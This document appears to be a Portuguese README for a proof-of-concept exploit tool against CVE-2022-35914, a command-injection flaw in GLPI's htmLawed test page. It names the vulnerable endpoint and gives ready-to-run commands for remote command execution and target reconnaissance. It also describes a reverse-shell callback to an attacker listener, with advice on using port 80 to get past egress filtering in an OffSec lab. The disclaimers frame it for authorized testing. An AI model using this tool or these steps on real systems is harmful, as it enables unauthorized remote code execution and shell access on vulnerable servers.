CVE-2022-35914 por cyb3rk0ala

PoC para CVE-2022-35914, uma vulnerabilidade de injeção de comandos envolvendo o componente de teste htmLawed em instalações vulneráveis do GLPI.

A ferramenta fornece execução de comandos através do endpoint vulnerável e inclui funcionalidade opcional de callback para ambientes de laboratório autorizados.

Aviso: Este projeto destina-se apenas a testes de segurança autorizados, CTFs, laboratórios OffSec/PG e fins educacionais. Não o utilize contra sistemas sem autorização explícita.

Vulnerabilidade

Campo	Detalhes
CVE	`CVE-2022-35914`
Software	GLPI v.10.0.2
Componente	htmLawed
Endpoint vulnerável	`/vendor/htmlawed/htmlawed/htmLawedTest.php`

O componente vulnerável pode permitir a execução de comandos através de parâmetros manipulados em instalações afetadas.

Funcionalidades

Execução de comandos
Construção automática do URL de destino
Porta HTTP de destino configurável
Obtenção automática de sessão/token
Extração da saída de comandos
Verificação do alvo
Suporte a User-Agent personalizado
Configuração opcional de callback
Saída de terminal colorida
Interface CLI em Python 3

Requisitos

Python 3 e as dependências necessárias.

Kali Linux

sudo apt install python3-requests python3-bs4

Ambiente Virtual

python3 -m venv venv
source venv/bin/activate
pip install requests beautifulsoup4

Instalação

Clone o repositório:

git clone https://github.com/cyb3rk0ala/CVE-2022-35914.git
cd CVE-2022-35914

Torne o script executável:

chmod +x glpi.py

Utilização

Ajuda

python3 glpi.py -h

Execução Básica de Comandos

python3 glpi.py -u TARGET_IP -c 'id'

Exemplo de saída:

[*] Target: http://TARGET_IP:80/vendor/htmlawed/htmlawed/htmLawedTest.php

========== COMMAND OUTPUT ==========
uid=33(www-data) gid=33(www-data) groups=33(www-data)
====================================

Execução de Comandos

A opção -c especifica o comando a executar.

Utilizador Atual

python3 glpi.py -u TARGET_IP -c 'whoami'

Privilégios Atuais

python3 glpi.py -u TARGET_IP -c 'id'

Sistema Operativo

python3 glpi.py -u TARGET_IP -c 'uname -a'

Utilitários Disponíveis

python3 glpi.py -u TARGET_IP -c 'which bash'
python3 glpi.py -u TARGET_IP -c 'which python3'
python3 glpi.py -u TARGET_IP -c 'which php'
python3 glpi.py -u TARGET_IP -c 'which nc'

Opções

Opção	Descrição	Predefinição
`-u`, `--url`	URL ou endereço IP do alvo	Obrigatório
`-c`, `--cmd`	Comando a executar	`id`
`--check`	Verificar o alvo sem executar um comando	Desativado
`--user-agent`	User-Agent HTTP personalizado	Predefinido
`-p`, `--rport`	Porta do serviço HTTP do alvo	`80`
`-l`, `--lhost`	Endereço IP de callback/listener	—
`-lp`, `--lport`	Porta de callback/listener	—

Porta do Alvo

A opção -p / --rport especifica a porta onde o serviço web GLPI vulnerável está em execução.

Predefinição:

Exemplo:

python3 glpi.py -u TARGET_IP -p 80 -c 'id'

Verificação do Alvo

Utilize --check para verificar se a página de teste do htmLawed está disponível sem executar um comando:

python3 glpi.py -u TARGET_IP --check

User-Agent Personalizado

Um User-Agent HTTP personalizado pode ser fornecido com:

python3 glpi.py \
    -u TARGET_IP \
    --user-agent 'Mozilla/5.0'

Reverse Shell

O script suporta parâmetros opcionais de callback:

-l   IP de callback/listener
-lp  Porta de callback/listener

Exemplo:

python3 glpi.py \
    -u TARGET_IP \
    -p 80 \
    -l LHOST \
    -lp 80

Neste exemplo:

Target:   TARGET_IP:80
Callback: LHOST:80

As duas portas têm propósitos diferentes:

-p   = Porta HTTP do GLPI alvo
-lp  = Porta de callback/listener

Nota sobre o Laboratório OffSec

Durante os testes num ambiente de laboratório OffSec, o callback funcionou com sucesso através da porta TCP 80.

Outras portas de callback, como 4444, podem expirar dependendo da rede do laboratório e da filtragem de saída.

Para o ambiente testado:

python3 glpi.py \
    -u TARGET_IP \
    -p 80 \
    -l LHOST \
    -lp 80

O listener foi configurado na interface VPN do Kali utilizando a porta TCP 80.

Importante: A utilização da porta 80 para o callback é uma observação específica do ambiente. Não é um requisito do CVE-2022-35914.

Resolução de Problemas

A Execução de Comandos Funciona mas o Callback Não

Primeiro, verifique a execução de comandos:

python3 glpi.py -u TARGET_IP -c 'id'

Verifique se os utilitários necessários existem:

python3 glpi.py -u TARGET_IP -c 'which bash'
python3 glpi.py -u TARGET_IP -c 'which python3'
python3 glpi.py -u TARGET_IP -c 'which php'
python3 glpi.py -u TARGET_IP -c 'which nc'

Se a execução de comandos funcionar mas o callback expirar, verifique o encaminhamento da VPN e a porta de callback.

A Saída dos Comandos Parece Incorreta

Se a análise da saída dos comandos falhar, a resposta HTTP completa é guardada em:

/tmp/glpi.html

Inspecione-a com:

less /tmp/glpi.html

ou:

mousepad /tmp/glpi.html

Fluxo de Trabalho de Exemplo

1. Verificar o Alvo

python3 glpi.py \
    -u TARGET_IP \
    --check

2. Confirmar a Execução de Comandos

python3 glpi.py \
    -u TARGET_IP \
    -c 'id'

3. Identificar o Utilizador Atual

python3 glpi.py \
    -u TARGET_IP \
    -c 'whoami'

4. Verificar as Ferramentas Disponíveis

python3 glpi.py \
    -u TARGET_IP \
    -c 'which nc'

5. Configurar o Callback

Para o ambiente de laboratório OffSec testado:

python3 glpi.py \
    -u TARGET_IP \
    -p 80 \
    -l LHOST \
    -lp 80

Aviso

Este projeto é fornecido apenas para fins educacionais e de testes de segurança autorizados.

O autor não é responsável por qualquer uso indevido, dano, acesso não autorizado ou atividade ilegal envolvendo este software.

Obtenha sempre autorização explícita antes de testar um sistema.

Autor

cyb3rk0ala

CVE

CVE-2022-35914

Projeto

CVE-2022-35914 por cyb3rk0ala

CVE-2022-35914-RCE

Mais Populares